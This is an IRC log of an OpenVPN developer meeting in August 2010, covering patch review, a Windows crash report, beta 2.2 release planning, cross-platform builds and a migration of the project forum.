13:16 <@dazo> cron2: what do you dislike? 13:16 * dazo might have the same reservations as cron2 13:16 <@cron2> the repetition of o->push_list.tail->immutable = true 13:16 <@mattock> hmm... I'll try to reach James via Skype 13:16 <@cron2> looks like "this wants to go into push_option()" 13:17 <@dazo> yeah, that's one of the things I've been wondering about too ... but I think it might be possible to make it less intrusive too, in regards to where you set the immutable flag as well 13:17 <@mattock> managed to reach james, he should be attending 13:18 <@cron2> I haven't really looked into the "existing" code base yet, so I can't comment on that 13:18 <@dazo> and I'm also wondering about the concept around the multi_client_connect_post_set_immutable( ) function 13:18 <@cron2> there's a lot of duplicate-looking code in the multi.c patch 13:20 <@dazo> yeah 13:20 <@cron2> but I also haven't looked into "how is per-client push / cleanup handled?" yet 13:20 <@cron2> so I can't do it better right now 13:21 <@dazo> yeah, but thanks for your comments, you've touched some of the things I've been concerned about too ... so now I know it's not me being overly critical :) 13:22 * cron2 *is* super-critical regarding code duplication :) 13:22 <@dazo> :) 13:23 <@mattock> hmm, there _is_ a lot of code duplication... 13:24 <@dazo> and to quote James from last week ... that steal bytes for those caring about each byte the binary occupies 13:24 <@mattock> ok, how to fix the duplication? 13:25 <@raidz> hehe 13:25 <@cron2> "understand what the code does" :) 13:25 <@dazo> and then write a function which does it 13:25 <@cron2> well, especially "understand how the per-client push lists are built and reset" 13:26 <@dazo> I personally have not quite caught why we need all those changes in multi.c yet ... I would say it should be enough to flag things in helper.c ... but it's quite some time since last time I looked at the code bits here 13:26 <@dazo> the build-up is basically string concat, iirc 13:27 <@cron2> before that :-) - not "build the string to send to the client" but "build the data structure that will then be the string" 13:27 <@cron2> because the data-structure has a "common for all clients" and a "per-client" part and I have no idea how that is handled - is the common part copied? linked? ... 13:30 <@dazo> ahh, yeah, it's a linked list 13:30 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:30 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has left #openvpn-devel [] 13:30 <@mattock> oops 13:30 <@cron2> now that was a short visit 13:30 <@dazo> but you're right, I don't recall now how the common / per-client linking was 13:30 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:30 <@mattock> hi james! 13:31 < jamesyonan> hi! 13:31 <@mattock> james: the topic list is here: https://community.openvpn.net/openvpn/wiki/Topics-2010-08-12 13:31 < vpnHelper> Title: Topics-2010-08-12 – OpenVPN Community (at community.openvpn.net) 13:32 <@mattock> we're currently discussing the "push-reset should not reset topology and route-gateway from global config" patch 13:33 <@dazo> I think we've narrowed it down to a) avoid code duplication and b) need better review to see if the implementation is made simple and stupid enough 13:33 <@mattock> shall we move back to the "BSOD hangs when is TAP- enabled. Hyperthreaded or dual core." issue now that James is here? 13:33 <@dazo> yeah 13:33 <@dazo> and then beta? 13:34 <@mattock> yep 13:34 <@mattock> ok, so james said that this BSOD issue is new 13:35 <@mattock> and I think it can't be widespread, given that lots of people are running WinXP with multiple cores / hyperthreading 13:36 <@mattock> I think we should try to get clarifications from the bug's reporter 13:36 <@mattock> what do you think? 13:36 <@dazo> It can be limited, we probably need to try to reproduce this failure with this person's config files 13:36 <@dazo> if we can't reproduce it on a dual core box ... then we're having a challenge 13:36 <@mattock> ok, I can request config files from him right now 13:37 <@dazo> (hmmm .... my wife's netbook got an hyperthreaded Atom processor, and WinXP on a partition she don't use) 13:37 < jamesyonan> can we find out from this guy which additional drivers or third-party antimalware software is installed 13:37 <@dazo> mattock: yeah ... btw ... would be good to move that issue over to Trac 13:37 <@dazo> good point! 13:37 <@cron2> ack 13:38 <@mattock> I'll move this to Trac and ask for clarifications there 13:38 <@cron2> maybe other VPN stacks 13:38 <@dazo> goodie! 13:38 <@mattock> and mention to him that it's moved there 13:38 <@mattock> ok, beta2.2? 13:38 <@cron2> we have seen weird crashes when netscreen vpn client and shrew vpn client have been installed on the same machine... 13:39 < jamesyonan> yeah, try to figure out what is unique about this particular machine 13:39 < jamesyonan> getting a stack trace of the crash would help a lot 13:39 <@dazo> I saw that mattock has been pushing out beta stuff to build.openvpn.net ... is that supposed to be the official beta packages? Or are they going another place? 13:40 <@mattock> I suggest the following which we discussed with Dazo earlier... 13:40 <@mattock> - publish the "official" beta packages on openvpn.net 13:40 <@mattock> - add a link to "OpenVPN snapshots" into the "Download" page on openvpn.net 13:40 <@mattock> - host these (daily) OpenVPN snapshots on build.openvpn.net 13:41 <@mattock> so most of the populace gets the "official" beta versions, but they can use more up-to-date snapshots of the beta 2.2 branch if they want 13:41 <@mattock> what do you think? 13:42 <@cron2> sounds workable 13:42 <@dazo> I don't think we need to point at the snapshots on the official pages, would be enough on the community wiki 13:42 * dazo don't want to expose the snapshots too broad 13:42 <@mattock> what if we use size 6 font, then? :) 13:42 <@mattock> and make it almost the same color as the background 13:43 <@mattock> sorry, just kidding 13:43 <@dazo> heh ... that *can* work ;-) 13:43 <@mattock> I'd like people to find at least the "allmerged" snapshots 13:44 <@mattock> jamesyonan: currently beta2.2 tarballs are automatically generated by buildbot + some creative scripting: http://build.openvpn.net/downloads/2.2-beta/ 13:44 < vpnHelper> Title: Index of /downloads/2.2-beta (at build.openvpn.net) 13:44 <@mattock> same technique can (and will) be used for the "allmerged" branch 13:44 <@dazo> agreed, that's why I'm thinking community wiki :) 13:45 <@dazo> jamesyonan: have you had any time to evaluate the beta2.2 branch? I sent an e-mail with all major changes last week 13:45 < jamesyonan> dazo: no, I haven't -- I've been swamped 13:46 <@dazo> oki 13:46 < waldner> will the build server store (and make available) all the snapshot builds, or only the latest one? 13:47 <@mattock> waldner: currently it publishes all daily snapshots, except those which have already been publish (=have the same checksum as any earlier one) 13:47 <@mattock> s/publish/published/g 13:47 <@dazo> jamesyonan: is it something which will make you concerned when we go out with the beta tomorrow? 13:47 < waldner> ah, so it blindly builds and then if the checksum is the same as yesterday's, it's not published? 13:48 <@mattock> yep, basically 13:48 <@dazo> sounds like a good algorithm 13:48 < waldner> couldn't it check if there have been commits rather? 13:48 <@mattock> or rather, if it's the same as any other checksum on the published directory 13:48 <@mattock> waldner: yep, buildbot can be triggered to build when a commit is made... but I'm not that far yet 13:49 < waldner> ah ok 13:49 < waldner> just curious 13:49 <@mattock> jamesyonan: what do you think about having a link to automatically built snapshots in openvpn.net download page? 13:49 <@dazo> re: commit triggered builds ... that's a good thing ... but we most probably don't need to publish those builds 13:49 <@mattock> dazo: agreed 13:50 < jamesyonan> mattock: that's fine 13:50 < waldner> or with a big disclaimer at least 13:50 < waldner> as other projects do 13:50 <@mattock> waldner: you mean linking to snapshots on openvpn.net? 13:50 * dazo is concerned we might regret that ... he prefers rather a pointer to the community pages, which leads further to the snapshot builds 13:50 < waldner> about publishing commit-triggered snapshots 13:51 <@mattock> ok 13:51 <@dazo> commit-triggered snapshots do not make much sense, in my eyes .... commit-triggered builds are useful to be sure we don't break anything 13:52 <@dazo> anything obvious, that is 13:52 <@cron2> +1 13:52 <@mattock> dazo: agreed 13:52 < jamesyonan> dazo: so you mean having a link on the download page that points to the community page instead of the actual 2.2 beta builds? 13:52 < waldner> s/snapshots/builds/ 13:52 < waldner> that's what I meant 13:52 <@cron2> build, test (<<-!!), make sure things still work 13:52 <@cron2> but publish only "tested" builds 13:52 <@cron2> tagged, that is 13:53 <@mattock> I say "if it builds, ship it" :) (quote from a firewall appliance vendor) 13:53 < waldner> quote from $almost_any_software_company 13:53 <@dazo> jamesyonan: yes and no .... we will have official beta releases on the official web pages .... which includes windows binaries and source tarballs and signatures like now .... and then we can point to the community pages for more information about the community work and the daily/weekly snapshots of allmerged and the beta branch 13:54 <@mattock> I'd just like that people can find the snapshots relatively easily and from a logical place 13:55 <@mattock> a direct link to snapshots and a big warning would do it 13:55 < waldner> my impression was that dazo wouldn't want that it be "too easy" 13:55 <@mattock> or alternatively a link to the Wiki which explains the same and links to the downloads 13:55 <@dazo> For example, I've tagged v2.2-beta1 in the git repository now ... we will make some official builds on this for the beta release. Then we will commit bugfixes etc, etc to this branch ... and they are not official releases, even though we provide snapshot builds of them ... and I want to avoid people from using snapshots by mistake, believing it is official betas 13:56 <@mattock> agreed, that's an issue 13:56 <@dazo> and this is useful when processing bug reports ... then we see more easy if people have the same troubles or not 13:56 < waldner> hence the disclaimer 13:56 <@dazo> waldner: people don't read disclaimers, unless they have a gun pointed at their head ;-) 13:57 < waldner> in this case, I'd say "their problem" 13:57 <@dazo> most people, I mean 13:57 < waldner> what else can we do, short of not publishing them? 13:57 <@dazo> well, but it can easily generate a lot of useless noise with error reporting 13:57 <@mattock> I think most people just click on the first and biggest download icon that has the right text under it 13:57 <@dazo> we can have some pointers on the *community* wiki, f.ex. under the testing pages 13:58 <@dazo> and developer pages 13:58 <@mattock> what if we do this: 13:58 <@dazo> which points at the snapshots ... people going there, know they want something more bleeding edge than the latest release 13:58 < waldner> well, test builds like that also serve to get feedback and bug reports 13:58 <@mattock> - add a link to a page in the Trac wiki 13:58 <@mattock> - this page will have a disclaimer and a link to snapshot downloads page 13:58 < waldner> about linking only from the community pages, I agree 13:59 < waldner> I've seen it done elsewhere 13:59 <@mattock> so that any innocent people can't possibly(?) think they're using official builds 13:59 < waldner> in the offical download page, there's a link "for more info and snapshots, click here" 13:59 <@mattock> waldner: exactly 14:00 < waldner> that links to the community pages, where a brief (or long) explanation 14:00 <@mattock> dazo: what do you think? 14:00 <@dazo> I'm sorry, but I really dislike the disclaimer and link to snapshot page on the official pages ... I think we're asking for troubles 14:00 < waldner> and there, somewhere, a link to the builds 14:00 < waldner> uh, I thought we're not suggesting that 14:00 <@mattock> dazo: yep, but there wouldn't be any direct link 14:01 <@dazo> mattock: if it's not a direct link to the download area, then I'm fine 14:01 < waldner> it would be: official pages: official betas and releases, plus a link to community "for snapshots" 14:01 <@mattock> rather, a link to a wiki page which contains the link to downloads 14:01 <@dazo> yeah 14:01 < waldner> and in the community page, explanations, dev info etc. plus a link to the snapshots 14:01 <@mattock> and the link on official pages should not be too easy to spot 14:01 <@mattock> =without reading the page 14:01 * dazo agrees to this 14:02 <@mattock> ok, I guess we reached an agreement after all :) 14:02 < waldner> (and I'd still have a disclaimer though) 14:02 <@mattock> good idea 14:02 <@dazo> yeah, on that community page with the link to the snapshot downloads, there we can have a disclaimer 14:02 < waldner> exactly 14:02 <@mattock> yep 14:02 <@dazo> stating: Try official releases first before you try these downloads 14:03 < waldner> after all, if one has clicked up to there, he's probably clued enough to also read the disclaimer 14:04 <@mattock> ok, perhaps move on to the next topic: "Beta 2.2 will be released tomorrow: what is still missing (if anything)?" 14:04 <@mattock> jamesyonan: what's the status of Windows client binaries? 14:04 <@mattock> tarballs and zip file are ready 14:05 < jamesyonan> I can try to build it from the tarball 14:05 <@mattock> dazo: are there any changes going into beta2.2 before release? 14:05 <@dazo> mattock: nope 14:05 <@mattock> ok 14:06 <@mattock> jamesyonan: you can use this one: http://build.openvpn.net/downloads/2.2-beta/openvpn-2.2-beta-20100812.tar.gz 14:06 <@mattock> ~1 hour old snapshot 14:06 <@dazo> mattock: v2.2-beta1 is tagged and will be unchanged ... new patches will be accepted to the beta branch, but will go into the v2.2-beta2 release 14:07 <@mattock> dazo: is it enough that buildbot does a full checkout of the beta2.2 branch? 14:07 <@mattock> ...to create the first beta release? 14:07 <@dazo> right now, yes ... but it will be wrong when we're releasing the next beta2.2 release 14:08 <@mattock> ok, I don't understand why, but I'll do some reading later on so that I do :) 14:09 <@mattock> jamesyonan: when you've built the Windows client binary, could you put it somewhere where I can get it? 14:10 <@dazo> when I add accept new patches to the beta2.2 branch, the branch will move forward .... while a tag is the tree "frozen" at a certain point 14:10 < jamesyonan> it's not building for me on the first try 14:10 <@dazo> so branches moves, tags are frowzen 14:10 <@cron2> jamesyonan: where is it failing? 14:10 * dazo just built v2.2-beta1 from the tarball on Fedora 12 14:11 < jamesyonan> I think the first issue is just with the OpenSSL directory 14:12 <@cron2> (building on gentoo right now) 14:12 <@cron2> dazo: could you cherrypick the testing framework for beta2? 14:12 <@dazo> cron2: yeah, I can do that 14:13 <@dazo> cron2: do you want it in beta1? 14:13 <@cron2> dazo: no, beta1 is frozen now 14:13 <@dazo> or will beta2 be fine enough? 14:13 <@dazo> thx! then I'm happier :) 14:14 < ecrist> hola 14:14 <@dazo> \o 14:14 < ecrist> sorry I'm late 14:14 <@mattock> ecrist: hola! 14:15 < waldner> hi 14:16 <@mattock> cron2, jamesyonan: how is the build proceeding? 14:16 <@cron2> ok, beta1 builds on gentoo 14:17 <@cron2> it's still running "make check" :) 14:17 * dazo builds on CentOS 5.5 32bit 14:17 <@mattock> cron2: did you do a cross-compile for windows? 14:17 < jamesyonan> I need to rebuild openssl 14:17 <@cron2> All 2 tests passed 14:17 <@cron2> mattock: no, just local build on gentoo 14:17 <@mattock> ok, I'm testing it on Debian Squeeze i386 14:17 <@mattock> tarball itself was created on Debian Lenny amd64 14:18 <@cron2> I'm fairly sure building on NetBSD will fail... (net/if.h configure patch still not ACKed) 14:18 <@mattock> while we're building stuff... what do we set as the deadline for beta2? 14:19 <@dazo> if somebody gives me access to an OpenBSD and NetBSD box ... I can go in an test out cron2's patches and ACK them 14:20 * dazo installs openvpn beta on a production box, using it as a client 14:21 <@dazo> it works :) 14:22 <@cron2> there's one configure problem on NetBSD, it doesn't find the lzo libraries - they are in /usr/pkg/include and /usr/pkg/lib, respectively - need to check how other configure scripts handle this (or whether local netbsd trickery is used) 14:22 <@cron2> but that's not beta1 specific, 2.1 also does this 14:24 <@dazo> cron2: where do you download {Open,Net}BSD? ... I'll install a couple of VM's if I have enough space on my hard drive 14:25 <@cron2> dazo: www.openbsd.net, www.netbsd.org 14:25 <@dazo> cron2: how much space would be needed? to be able to build? 14:25 <@mattock> ok, beta2.2 snapshot builds and passes the tests on Debian Squeeze 14:25 <@cron2> openbsd vm fits in less than 1 Gbyte here 14:28 <@dazo> cron2: ahh ... so if I give ~8GB to each installation, that would be enough? 14:29 <@cron2> dazo: wastive :-) 14:30 <@mattock> way too much 14:30 * dazo downsizes 14:31 <@cron2> ok, NetBSD 3.1 / Sparc64 fails due to a number of configure issues 14:31 <@cron2> but these are all the same since 2.1, so there's no new issues there 14:31 <@cron2> there's one thing that we might want to fix eventually: 14:31 <@cron2> In file included from crypto.c:29: 14:31 <@cron2> crypto.h:57:29: openssl/des_old.h: No such file or directory 14:32 <@cron2> NetBSD does not install that anymore 14:32 < chantra_afk> dazo: cron2 was quickly passing by computer and read over https://community.openvpn.net/openvpn/ticket/29 14:32 < vpnHelper> Title: #29 (push-reset should not reset topology and route-gateway from global config) – OpenVPN Community (at community.openvpn.net) 14:32 < chantra_afk> as I said in http://article.gmane.org/gmane.network.openvpn.devel/3861 14:32 < vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 14:33 < chantra_afk> i am not happy with that either :_ 14:33 < chantra_afk> :) 14:33 < chantra_afk> but dont see any easy solution given the code base 14:34 <@cron2> mattock: btw: your instructions for setting up a buildslave miss things like actual links to the CA and TA certificates... 14:34 <@cron2> mattock: and please add me to the OpenVPN-LDAP-Group and tell me how to get the buildslave-openvpn going... 14:34 <@mattock> cron2: yep, that's true, the document is not ready yet 14:34 <@mattock> I'll do that the instant I get some of my own VM's buildslaving through OpenVPN 14:35 <@mattock> I'm using a local buildslave on build.openvpn.net for now 14:35 <@cron2> ah, I thought that part was already active - ok, I have no time anyway :-) 14:35 <@mattock> yep, so no harm done :) 14:36 <@mattock> jamesyonan: any progress with the Windows build? 14:36 < jamesyonan> I will need to get back to it -- my openssl build is out-of-date 14:37 <@mattock> can you build it by tomorrow evening (your time)? 14:38 <@mattock> windows binaries are the only big thing missing 14:40 <@mattock> ok, BSOD report moved here: https://community.openvpn.net/openvpn/ticket/32 14:40 < vpnHelper> Title: #32 (BSOD hangs when is TAP- enabled. Hyperthreaded or dual core.) – OpenVPN Community (at community.openvpn.net) 14:41 <@mattock> we still have the 2.2-beta2 release date to discuss 14:41 <@mattock> dazo: do you have something in mind? 14:41 <@dazo> no not really 14:41 <@dazo> I'm just wondering what expectations we have 14:42 <@dazo> I think we might need 2-3 beta releases at least ... and 2-3 RC releases before we're ready with a 2.2 release .... but I'm ambitious now 14:43 <@mattock> I think one beta per month would be good... that way we have enough testers using relatively recent code 14:43 <@dazo> yes 14:43 <@cron2> ok, NetBSD 3.1/sparc64 build has 3 problems: not finding lzo (-> --with-lzo-*=...), not having des_old.h (copy over from openssl source), configure not finding (patch in trac) 14:44 <@cron2> (this machine is slooowwww) 14:45 <@mattock> so let's aim for 1 month between each beta/rc release 14:45 <@dazo> so mid-september is the next beta 14:46 <@cron2> regarding number/frequency of betas: 1 month is good, but only if there's actually something that changed... 14:46 <@dazo> yeah 14:46 <@mattock> cron2: good point 14:46 <@cron2> and preferrably if someone tested this :) 14:46 <@mattock> I think we can get download statistics from openvpn.net to verify that 14:46 * dazo knows it will be some changes for 2.2-beta-2 :) 14:46 <@mattock> or at least verify that somebody downloaded beta 2.2 14:46 <@cron2> but then, we already have something for beta2 - test client, configure patches for *BSD 14:46 <@dazo> that's absolutely needed 14:47 <@dazo> (checking download stats) 14:47 * dazo is installing openbsd ... that's an installation for geeks .... 14:47 <@mattock> btw. who's going to write the announcement about beta 2.2 release? 14:47 <@dazo> good question 14:48 <@mattock> I suggest dazo, who knows what's in the first beta :) 14:48 <@dazo> mattock: you still got the mail I sent with the changelog entries worh mentioning? 14:48 <@mattock> I should have, I'll check 14:48 * dazo feared that suggestion! 14:49 <@mattock> dazo: will you have some time tomorrow afternoon (e.g. 10AM UTC)? 14:50 <@mattock> perhaps I could write the "core" of the announcement and you could take care of the changelist 14:50 <@mattock> or something 14:50 <@dazo> mattock: yeah, that would be good ... I might have some time ... having a release to take care of at work too, and some people need my approval of the testing there 14:51 <@dazo> but if you have the changelog I sent, nothing needs to be changed there 14:52 <@mattock> was it the v2.1.1-to-beta2.2-changes.txt? 14:52 <@dazo> yes 14:52 <@mattock> ok, I can append that to the end 14:52 <@mattock> should we edit some files (e.g. README) in the git repository, too? 14:53 <@dazo> The only change which is not registered there is my "Preparing for v2.2-beta1 release" .... which kind of don't need to be mentioned there :) 14:53 <@mattock> yes, agreed 14:54 <@dazo> jamesyonan: ^^ do you change some files in the repo before your releases? 14:54 <@mattock> ok, I'll take care of the announcement then 14:54 <@dazo> mattock: thx a lot! 14:54 <@mattock> no probs, I got most of my high priority stuff finished already 14:54 <@mattock> the rest can wait 14:54 < jamesyonan> dazo: I usually just edit ChangeLog and version.m4 14:57 <@dazo> okay version.m4 is done ... but not ChangeLog 14:58 <@dazo> I'll update the ChangeLog but will not retag the tree, so changes will be visible for beta2 ... any objections to that? 14:59 <@cron2> well, it's beta1, so mistakes are expected :) 14:59 <@dazo> heh :) 14:59 <@mattock> ok, I guess we're all set for release 14:59 <@dazo> \o/ 15:00 <@mattock> I was planning to make the announcements around 11PM my time (8PM UTC) 15:00 <@dazo> sounds perfect to me 15:00 <@mattock> that way james et al on the west coast have some time tomorrow to do stuff 15:00 <@mattock> if necessary 15:00 <@dazo> I do hope getting windows binaries built is higher up on the todo list 15:01 <@mattock> yep, we definitely need the windows binaries - jamesyonan - we're counting on you :) 15:01 <@dazo> (gee ... openbsd won't boot properly in kvm) 15:02 <@mattock> dazo: so you _can_ boot *BSD guests in KVM? 15:02 <@mattock> interesting... 15:02 <@dazo> yeah 15:02 <@cron2> dazo: I'm running it in vmware-player, no issues here 15:02 <@dazo> kvm boots whatever i386/x86_64 15:02 < waldner> at least freeBSD forks IIRC 15:02 <@dazo> normally 15:02 < waldner> *works 15:02 <@dazo> FreeBSD I've tried earlier 15:02 * dazo tries netbsd 15:03 <@mattock> hmm, I got to buy more RAM to my server, then, and do more OS installing 15:03 <@mattock> only 2GB, not much 15:04 <@mattock> I guess the official part is now finished... 15:04 <@dazo> netbsd is not too happy either 15:04 <@dazo> yay! ;( 15:04 <@dazo> :) 15:04 <@mattock> only 2 hours... somewhat longer than usually 15:05 <@cron2> some OSes do "system init" stuff that the VM solutions don't properly emulate 15:05 < waldner> though olive, which is feeBSD-based, I wasn't able to get it running n KVM 15:05 < waldner> (ok, OT) 15:05 <@cron2> I've seen interesting crashes with SCO Unix in old VMware versions 15:05 <@cron2> poking into special hardware ports to find ISA hardware, and such... 15:06 <@mattock> SCO - we (not I, thank god) had to run that bastard on VMWare too 15:06 <@mattock> was not exactly plug-and-play 15:06 <@mattock> in an earlier job 15:07 * dazo digs into this another day 15:07 * dazo need to run 15:07 <@dazo> ciao all! 15:07 < waldner> ciao 15:07 <@mattock> bye all! 15:08 < waldner> mattock: out of curiosity, why is your IRC client set to italian (or at least it looks so when you past the IRC logs) 15:08 < waldner> *post 15:08 -!- dazo is now known as dazo_afk 15:09 <@mattock> waldner: it's one of my quirks... :) 15:09 < waldner> ok :) 15:10 <@cron2> ok, have to leave now as well -> good night 15:10 < waldner> night 15:11 <@mattock> waldner: I'm not an italian, but I do speak the language at a semi-acceptable level, if necessary 15:11 <@mattock> :) 15:11 < waldner> cool 15:12 < waldner> it's usually considered a difficult languag by foreigners, but I reckon not for Finnish 15:12 < waldner> which AFAIK is much worse from what I know 15:13 < waldner> "worse" == difficult, I mean 15:14 <@mattock> I think italian is pretty easy to learn if you already know swedish, english, german and such... Finnish can be tough because most words are unique to it 15:14 <@mattock> similarly to chinese, greek or such 15:14 < waldner> also the grammar is tough 15:14 <@mattock> but pretty logical, too 15:14 < waldner> unlike italian 15:14 < waldner> :) 15:14 <@mattock> yep, guess so :) 15:14 < waldner> well, to be fair 15:15 < waldner> the downside is not even that it's not logical, it's that 50% of the things are exception to the rules :) 15:15 < waldner> (ok, exaggerating, but you know what I mean) 15:15 <@mattock> what's your native tongue? italian, perhaps? 15:15 < waldner> yes 15:15 <@mattock> nice! 15:16 <@mattock> linux howto's and forum posts written in italian are pretty easy to follow... although I can usually understand those in spanish, too (based on my italian skills) 15:16 < waldner> but I myself, speaking other language, find italian pretty difficult compared ot those others 15:17 < waldner> (and my keyboard is leaving me again) 15:17 <@mattock> I also studied latin - that seemed more difficult than italian... somehow more "alien" 15:17 <@mattock> non-modern 15:17 < waldner> well, because it is, uh, non-modern :) 15:17 <@mattock> yeah :) 15:18 <@mattock> the way you express things in latin seemed unfamiliar 15:18 <@mattock> whereas italian was more logical, in that sense 15:18 < waldner> agree 15:19 < waldner> I don't like declinations very much, though I apprciate they're still widely used in many languages (eg german) 15:30 < ecrist> mattock: did you get that stuff posted/removed from the site yet? 15:31 <@mattock> not yet, joomla played tricks on me... I got it on my todo-list 15:31 < ecrist> ok, no worries. 15:31 < ecrist> I'm off to play with my new phone. 16:17 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 16:31 -!- fkr_ [rqll9dypgc@devon.fsck.us] has joined #openvpn-devel 16:34 -!- Netsplit *.net <-> *.split quits: fkr 16:37 -!- Netsplit *.net <-> *.split quits: @openvpn2009, chantra_afk, @dazo_afk, ScriptFanix, jamesyonan 16:39 -!- Netsplit over, joins: jamesyonan, ScriptFanix, @openvpn2009, @dazo_afk, chantra_afk 23:35 -!- krzee [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Fri Aug 13 2010 01:23 -!- dazo_afk is now known as dazo 01:23 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:23 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:54 <@mattock> mod_rewrite now redirects phpbb registration attempts to pwm (try register link at https://forums.openvpn.net) 05:54 < vpnHelper> Title: OpenVPN Forum Index page (at forums.openvpn.net) 05:54 <@mattock> pretty neat this mod_rewrite thingy 06:02 <@mattock> guys: where do you think we should put the links to Account management (=pwm), Wiki (=Trac), bug tracker (=Trac), forums (phpbb), mailing lists (sf.net)? 06:02 <@mattock> I mean on openvpn.net 06:02 <@mattock> somewhere in the "Community software" menu, but where? 06:03 <@mattock> there's already the "OpenVPN project" page with all this information, but one has to search for it 06:03 <@mattock> direct links to at least wiki, bug tracker, account management and forums would be good 06:03 <@mattock> any opinions on this? 06:14 <@mattock> for now I just edited the "OpenVPN project" entry (http://webdev.openvpn.net/index.php/open-source.html) to be more descriptive 06:15 <@mattock> we could add some of the services directly to the "Community software" menu if we wanted 06:15 <@mattock> ...my modifications not yet in production 06:16 <@mattock> basically just says: "[link:OpenVPN Project] - Developing, contributing and getting support..." 06:16 <@mattock> and the correct url is of course http://openvpn.net/index.php/open-source.html 06:16 < vpnHelper> Title: OpenVPN Community Software (at openvpn.net) 06:32 <@mattock> perhaps the "Community software" menu could have a "OpenVPN project" or "OSS project" entry leading here: http://openvpn.net/index.php/open-source/345-openvpn-project.html 06:32 < vpnHelper> Title: OpenVPN project (at openvpn.net) 06:51 <@dazo> yeah, something like that ... it would be good to not make you need to search deep for the community info page 06:51 <@dazo> (your page, that is) 06:54 < ecrist> mattock, working on upgrading and moving the db now 06:54 <@mattock> ecrist: ok, good 06:56 <@mattock> I'll migrate the user accounts in ~6 hours, when I get to Helsinki 07:01 < ecrist> ok 07:02 < ecrist> mattock: anything you configured in phpbb interface will need to be re-configured 07:02 <@mattock> ok, I don't think I did anything expect the LDAP auth stuff 07:02 < ecrist> I think that's right 07:03 <@mattock> btw... what user accounts have admin rights to phpbb? we should create those accounts to LDAP a.s.a.p. or somebody might get admin access to phpbb 07:03 <@mattock> or remove their admin rights 07:03 < ecrist> I'll pull a list in a minute 07:07 < ecrist> dazo, Douglas (dougy), ecrist, krzee 07:08 <@mattock> ok, I'll check if those accounts are in LDAP 07:16 <@mattock> dougy is not... could you remove his admin rights temporarily? 07:16 <@mattock> until he creates a LDAP account 07:19 < ecrist> yeah 07:19 <@mattock> ecrist: can you grant me ("mattock" on ovpnforum.com) admin rights? 07:19 < ecrist> the database has been moved, I'm going to shut down the old site 07:20 <@mattock> ok 07:20 <@mattock> will you be available in ~6 hours? in case shit hits the fan with phpbb or something :) 07:21 < ecrist> you're an admin on the new site now 07:21 <@mattock> ok, I'll check if it works 07:22 <@mattock> admin control panel seems to work, great! 07:26 < ecrist> old forum disabled with a short message 07:27 * ecrist prunes spam users 07:30 < ecrist> mysql> delete from phpbb_users where user_posts < 1 and username != 'mattock'; 07:30 < ecrist> Query OK, 4794 rows affected (0.26 sec) 07:31 <@mattock> quite a few rows affected :) 07:37 <@mattock> I wonder what happens when registration is done through pwm 07:38 <@mattock> it should block at least most stupid phpbb bots 07:39 -!- dazo is now known as dazo_afk 08:55 < ecrist> ping dazo/mattock 09:04 < ecrist> mattock - can you name the files on build. sensibly? 09:04 < ecrist> openvpn-2.2-beta-20100812.tar.gz extracts to openvpn-2.2-beta1 09:04 < ecrist> openvpn-2.2-beta1.tar.gz would be better, imho 09:04 <@cron2> it should be named 2.2-beta1.tar.gz if it's a checkout of "tag 2.2-beta1" 09:05 < ecrist> right 09:05 < ecrist> it's not impossible to port for freebsd the way it is, but the naming could be better 09:05 < ecrist> it also eliminates confusion for the users 09:06 < ecrist> 'download the beta from aug 12' rather than 'download beta 1' 09:11 <@mattock> ecrist: yep, the directory name inside the tar.gz and zip files is messed up... that's what "make distcheck" creates 09:12 <@mattock> cron2: currently it's just a checkout of the beta2.2 branch 09:12 <@mattock> I need to fix the naming issue -> todo 09:12 <@mattock> for the official beta release this is easy to fix manually 09:14 < ecrist> sure, you speak up AFTER I code around it. :P 09:14 <@mattock> yep :) 09:14 <@mattock> what is the issue exactly (with FreeBSD port) 09:14 < ecrist> the issue is I don't like the naming. :) 09:15 <@mattock> ok, I see :D 09:15 < ecrist> as I said above, it should be called openvpn-2.2-beta1.tar.gz 09:15 < ecrist> the next release, openvpn-2.2-beta2.tar.gz, etc 09:16 < ecrist> we do the date stamp on the devel snapshots because there's no other real version to use 09:16 <@mattock> yes, for official releases that makes perfect sense 09:16 < ecrist> isn't this an official release today? 09:16 <@mattock> yes, there is, but the stuff on build.openvpn.net is not official 09:16 < ecrist> ah 09:17 <@mattock> although I'll just grab yesterday's / today's snapshot, rename it and publish it 09:17 < ecrist> so, is the beta tarball available somewhere else? 09:17 <@mattock> not yet, but it will be available directly from the openvpn.net open source download page 09:17 < ecrist> when will that be done? 09:18 <@mattock> and there'll be a link to a page in the wiki which in turn links to the (beta/allmerged/whatever) snapshots 09:18 <@mattock> I'll push the beta2.2 tarballs to openvpn.net in ~5 hours, or whenever james has the windows client binary ready 09:18 <@mattock> before we have the windows binary, there's little point in making the release 09:19 < ecrist> it's going to take me about that long to get it comitted to freebsd ports 09:19 < ecrist> (that's what I'm shooting for) 09:19 < ecrist> I can't commit until it's available to download the src tarball 09:20 < ecrist> so, even if you could put the tarball on the site, and tell me the link, that's all I need. 09:20 < ecrist> provided you don't change the tarball after I commit the port 09:20 <@mattock> I can make you the "official" tarball right now, should be hard 09:21 < ecrist> that would be swell. 09:22 <@mattock> so do you need the tarball to live at build.openvpn.net/downloads? 09:22 <@mattock> or some other openvpn.net server? 09:22 <@mattock> need/want 09:23 < ecrist> doesn't really matter, wherever it's going to live when it goes public is fine. 09:23 < ecrist> as long as, where you point me, doesn't change later 09:24 <@mattock> I was just wondering if you could host it yourself? I can't get stuff to openvpn.net directly, James has some release script which he uses and all goes through a staging server first 09:25 <@mattock> the alternative is that I put it to build.openvpn.net/downloads/releases and keep it there 09:26 < ecrist> that works for me. 09:26 < ecrist> that's what i was assuming was going to happen 09:26 <@mattock> ok, so the filename will be "openvpn-2.2-beta1.tar.gz" and the directory inside it will be "openvpn-2.2-beta1" 09:26 <@mattock> ok? 09:27 < ecrist> works for me 09:28 <@cron2> mattock: yep 09:33 <@mattock> ok, so the official release is available here: http://build.openvpn.net/downloads/releases/openvpn-2.2-beta1.tar.gz 09:33 <@mattock> I'm testing that it builds, just in case 09:34 